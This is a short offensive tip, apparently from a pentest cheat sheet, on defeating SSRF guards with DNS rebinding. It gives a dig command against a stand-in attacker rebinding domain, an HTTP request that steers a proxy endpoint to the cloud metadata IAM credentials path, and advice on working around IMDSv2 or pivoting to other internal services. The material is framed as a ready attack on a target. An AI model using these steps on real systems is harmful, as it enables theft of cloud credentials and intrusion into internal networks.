Defeat SSRF allow-lists with DNS rebinding

Many SSRF guards resolve the hostname, check the IP against a block-list, then let the HTTP client resolve it again. Two lookups means two answers. Serve a record that passes the check, then rebinds to 169.254.169.254 or 127.0.0.1 on the second resolve.

# with a rebinding service, or your own authoritative zone (TTL 0)
# first answer: public IP (passes validation)
# second answer: 169.254.169.254 (fetched)
dig +short 7f000001.1time.169.254.169.254.rebind.attacker.tld

If the target caches DNS, force cache misses with a unique subdomain per attempt and keep the TTL at zero.

GET /proxy?url=http://a1b2.rebind.attacker.tld/latest/meta-data/iam/security-credentials/ HTTP/1.1
Host: target

Pro note: IMDSv2 defeats naive rebinding because it needs a PUT token first. Test whether the SSRF primitive lets you set request method and headers; if it only does GET, pivot to a different internal service instead of the metadata endpoint.